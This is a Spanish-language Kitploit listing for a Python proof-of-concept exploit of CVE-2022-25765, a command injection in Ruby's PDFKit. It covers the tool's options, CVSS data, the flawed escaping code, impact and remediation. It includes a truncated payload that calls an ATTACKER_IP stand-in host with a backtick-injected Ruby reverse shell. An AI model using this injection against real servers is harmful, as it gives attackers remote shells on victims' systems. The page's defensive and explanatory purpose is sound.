¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
CVE-2022-25765 — # PoC en Python para CVE-2022-25765, una inyección de comandos crítica en PDFKit. Genera una reverse shell mediante parámetros URL sin sanitizar pasados a wkhtmltopdf. Incluye instrucciones de uso y análisis técnico de la vulnerabilidad. | Kitploit
# PoC en Python para CVE-2022-25765, una inyección de comandos crítica en PDFKit. Genera una reverse shell mediante parámetros URL sin sanitizar pasados a wkhtmltopdf. Incluye instrucciones de uso y análisis técnico de la vulnerabilidad.
-t, --target: URL objetivo que ejecuta PDFKit vulnerable
-l, --lhost: Tu dirección IP para la conexión de reverse shell
-p, --lport: Tu puerto para la conexión de reverse shell (debe coincidir con tu listener de netcat)
Información de la Vulnerabilidad
ID de CVE: CVE-2022-25765
Puntuación CVSS v3.1: 9.8 (Crítica)
Puntuación EPSS: 71.381% (percentil 99)
CWE: CWE-77 - Neutralización inadecuada de elementos especiales utilizados en un comando
Versiones Afectadas
Vulnerable: PDFKit 0.0.0 - 0.8.6
Corregida: PDFKit 0.8.7.2+
Descripción
PDFKit es una gema de Ruby que convierte HTML a PDF usando la herramienta de línea de comandos wkhtmltopdf. La vulnerabilidad existe en cómo PDFKit maneja los parámetros de URL antes de pasarlos a los comandos del shell del sistema para la generación de PDF.
Detalles Técnicos
La vulnerabilidad reside en lib/pdfkit/source.rb donde la sanitización de URL está implementada incorrectamente:
root@kitploit:~
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
El Problema:
PDFKit usa una lógica defectuosa para determinar si una URL necesita escaparse
Los metacaracteres del shell (backticks, punto y coma, tuberías, etc.) pueden omitir esta verificación
Las URLs sin sanitizar se pasan directamente a los comandos del shell que invocan wkhtmltopdf
Los atacantes pueden inyectar comandos arbitrarios que se ejecutan en el servidor
Vector de Ataque:
Complejidad: Baja
Privilegios Requeridos: Ninguno
Interacción del Usuario: Ninguna
Acceso a la Red: Requerido
Cómo Funciona Este Exploit
Este PoC explota la vulnerabilidad al:
Inyectar una URL maliciosa que contiene sustitución de comandos con backticks
El payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
PDFKit no logra sanitizar los backticks en el parámetro de la URL
Cuando wkhtmltopdf procesa la URL, el shell ejecuta la reverse shell de Ruby
El sistema objetivo se conecta de vuelta al listener del atacante
Impacto
Confidencialidad: Alta - Acceso completo al sistema
Integridad: Alta - Capacidad de modificar cualquier archivo
Disponibilidad: Alta - Potencial de interrupción del sistema
Requisitos Previos para una Explotación Exitosa
En el Sistema Objetivo:
Versión de PDFKit vulnerable (< 0.8.7.2)
Ruby instalado (requerido para el payload de reverse shell)
La aplicación acepta URLs controladas por el usuario pasadas a PDFKit
Sin filtrado de egreso que bloquee las conexiones salientes
Remediación
Actualiza PDFKit a la versión 0.8.7.2 o posterior
Validación de Entradas: Implementa una lista blanca estricta para las entradas de URL
Sandboxing: Ejecuta los procesos de PDFKit en contenedores aislados con privilegios mínimos
Segmentación de Red: Restringe las conexiones salientes desde los servicios de generación de PDF
Reglas WAF: Implementa reglas para detectar metacaracteres de shell en los parámetros de URL